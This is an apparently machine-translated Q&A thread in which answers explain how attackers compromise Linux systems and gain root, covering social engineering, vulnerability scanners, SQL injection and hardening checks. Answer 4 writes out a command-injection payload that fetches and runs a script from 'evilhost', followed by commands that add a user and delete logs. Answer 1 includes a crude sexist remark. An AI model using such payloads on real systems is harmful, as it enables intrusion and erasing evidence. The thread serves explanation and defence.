不,我不想成为一个破解者或类似的东西,但我试图弄清楚这个过程(更多地从编程的角度来看)。
所以我假设(猜测)破解者的主要目标是获得 root 访问权限来安装他编写的任何软件(或脚本),对吧?或者也许安装他们自己的内核模块(无论出于何种原因,这都是不正当的)一个人到底是如何做到这一点的?
我知道人们使用脚本来检查漏洞......但我不知道如何进行,而且我也不知道他们一旦发现它们会如何处理它们?他们是否检查版本中是否存在已知的漏洞……然后一旦他们发现了……
我知道这一切听起来都很新奇。但我只是想了解它是如何工作的,因为我知道 Linux/Unix 系统应该是非常安全的,但我想弄清楚有人会如何获得 root 访问权限。
答案1
人们试图破坏系统安全的原因有无数。概括地说:
- 使用系统资源(例如发送垃圾邮件、中继流量)
- 获取系统信息(例如从电子商务网站获取客户数据)。
- 更改系统信息(例如破坏网站、植入虚假信息、删除信息)
只有有时这些事情才需要 root 访问权限。例如,在未正确清理用户输入的网站上输入格式错误的搜索查询可能会泄露该网站数据库中的信息,例如用户名/密码、电子邮件地址等。
许多计算机犯罪分子只是“脚本小子”;即那些实际上并不了解系统安全性的人,甚至可能不会编写代码,但会运行其他人编写的漏洞利用程序。这些通常很容易防御,因为它们没有适应能力;他们仅限于利用已知的漏洞。 (尽管他们可能会利用僵尸网络——大量受感染的计算机——这可能意味着 DDoS 攻击的危险。)
对于熟练的攻击者来说,这个过程是这样的:
弄清楚目标是什么,以及目标的价值是什么。安全性——维护它或损害它——是一种风险/回报计算。某件事的风险越大、成本越高,回报就必须越诱人,这样攻击才有价值。
考虑影响任何目标的所有活动部件 - 例如,如果您想发送垃圾邮件,您可以攻击邮件服务器,但攻击不同的面向网络的服务可能更有意义,因为您真正需要的是使用目标的网络连接。如果您想要用户数据,您将开始查看数据库服务器、能够访问它的 Web 应用程序和 Web 服务器、备份它的系统等。
绝不忽视人为因素。保护计算机系统的安全比保护人类行为的安全要容易得多。让某人泄露他们不应该透露的信息,或者运行他们不应该运行的代码,既简单又有效。在大学里,我和一个朋友打赌,打赌闯入了他超级安全的公司网络,并遇到了一位好色的副总裁——我朋友的技术专长远远超过了我,但是没有什么胜过穿着短裙的 17 岁男女生的力量!
如果你缺乏胸部,请考虑提供一个毫无意义的游戏或一些白痴会为了好玩而下载的东西,而不考虑它的真正用途。
查看您已识别的每个部分,并考虑它可以做什么,以及如何对其进行调整以实现您想要的功能 - 也许帮助台经常为用户重置密码而没有正确识别呼叫者,并且呼叫他们听起来很困惑给你别人的密码。也许网络应用程序在将其粘贴到其运行的函数中之前不会检查搜索框中输入的内容以确保它不是代码。安全妥协通常始于一些故意暴露的东西,这些东西可能会以不应该的方式运行。
答案2
最大的因素是攻击者拥有的访问类型。如果他们有物理访问权限,你就完蛋了。如果您只关心远程访问,那么这取决于您正在运行的内容;好的配置就是一切。标准的 Linux 服务器可能会运行 ftp、ssh、http、https 和 mysql。 SSH 是安全的,但我不允许 root 登录,并且每个帐户都必须有一个好的密码。 FTP 时好时坏。如果您有 VSFTP 并 chroot 您的用户,那么它就非常安全。其他几个版本也存在已知漏洞。 HTTP 可能将是您最容易受到攻击的区域。您最关心的是在系统上执行文件或将文件上传到系统的任何操作。如果你的网站是用 PHP5 完成的,那么 SQL 注入是非常困难的。我和一群安全学生在一个未经消毒的 PHP5 网站上尝试了 SQL 注入数周,但没有成功。使用 MySQL 时,请确保使用非 root 用户并限制其只能从 Apache 服务器登录。
有几个 Firefox 插件可以测试网站漏洞:access me、xss me 和 sql Inject me
为了确保安全,我在比赛中总是会做一些重要的事情:
netstat
- 检查开放端口和连接,w
- 谁登录了,登录了多长时间,- 检查登录日志,
- 已执行命令的 bash 历史记录,
ps
- 运行命令,/etc/passwd
对于额外用户/etc/sudoers
用于 sudo 访问。
通常,在获得访问权限后,攻击者希望获得 root 权限。目前存在一些权限提升漏洞,可以让普通用户获得 root 权限。之后,他们希望通过添加用户和打开后门来打开它以供以后访问。
这是我学校的网络防御网站。请随意环顾四周并提出一些问题:https://thislink.doesntexist.org/
答案3
系统的安全性取决于管理员的技能,因此说“Linux/Unix 系统应该非常安全”是错误的:)
现在开始黑客攻击......有一种工具叫做“漏洞扫描器“ 喜欢内瑟斯寻找可利用的东西。在复杂的系统中,有成千上万的事情可能会出错,例如配置错误的 Apache 服务器允许将任意文件上传到任意位置。这些可以作为进一步利用的垫脚石,例如访问数据库或电子邮件帐户,可以通过“忘记密码”功能恢复密码。
有时黑客是为了获得访问权限并做一些邪恶的事情。有时人们这样做是为了好玩(顺便说一句,这很愚蠢)。
并且,这是一个故事最近发生的一次著名黑客攻击。我认为这对于任何关注安全性的人来说都是有说明意义的!引用漏洞利用摘要:
具有 SQL 注入缺陷和不安全密码的 Web 应用程序。选择错误的密码。重复使用的密码。允许基于密码的身份验证的服务器。未打补丁的系统。令人惊讶的是,他们愿意通过电子邮件提供凭据,即使被要求提供凭据的人本应意识到出了问题。
答案4
攻击向量的数量几乎是无限的。从概念上讲,最简单的方法之一是公开一个程序,并说它做了一些与实际不同的事情。在开头给用户提供友好的指示sudo
,然后看着世界蓬勃发展。对于闭源程序来说,这种情况每天都会发生,因为一个人不可能事先检查其工作原理,例如索尼CD。
您还可以尝试将特殊字符串发送到远程主机。举一个高级示例,假设您有一个 Web 服务器,上面运行着一些软件,并且该软件将 URL 的一部分作为命令运行无需逃跑或以其他方式确保它不会造成任何伤害。发送类似的东西http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh
。解码后,搜索字符串变为。如果运行,script.sh 将以与 Web 服务器用户相同的访问权限运行,以便在计算机上执行任何操作。有时,人们让这些作为“方便”的根源来运行,在这种情况下,这是懒惰和/或无知的同义词。即使它不是以 root 身份运行,该脚本也可以对已安装软件中的其他漏洞运行数千次测试,并在发现漏洞时运行另一个命令。例如,最后一个命令可以是获取 SSH 访问权限并删除入侵痕迹。foo;wget http://evilhost/script.sh; chmod u+x script.sh; ./script.sh
useradd blabla; apt-get install openssh; rm /var/log/apache.log
[命令显然被简化了,而且可能无论如何都不起作用。 YMMV]